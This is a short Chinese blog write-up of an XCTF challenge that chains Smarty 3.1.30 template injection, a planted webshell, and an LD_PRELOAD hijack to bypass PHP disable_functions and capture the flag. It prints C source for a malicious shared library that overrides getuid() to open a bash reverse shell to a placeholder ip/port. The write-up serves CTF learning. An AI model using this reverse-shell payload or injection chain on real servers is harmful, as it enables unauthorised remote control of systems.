xctf smarty 利用 LD_PRELOAD 环境变量绕过disable_functions

进来看页面一眼看出为smarty注入,尝试查看smarty版本再进行下一步操作。

可以看到是3.1.30那么就可以利用if标签来进行注入。利用file_put_contents上传木马。

接下来蚁剑访问,发现没有权限,想到可能需要绕过disable_functions,而绕过disable_functions就那么几种,尝试利用LD_PRELOAD劫持看看,再虚拟机编写c文件编译so文件进行上传。不懂的可以看看 https://blog.csdn.net/qq_63701832/article/details/129760495

1.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
void payload() {
    system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
 
uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

新建一个php文件再html目录中,写入一句话。

访问1.php,再服务器上进行监听。

可以看到已经成功,直接到根目录拿flag.

总结:

  1. 对应版本的smarty注入

  2. 利用 LD_PRELOAD 环境变量绕过disable_functions

posted @ 2024-07-04 23:23  jockerliu  阅读(20)  评论(0编辑  收藏  举报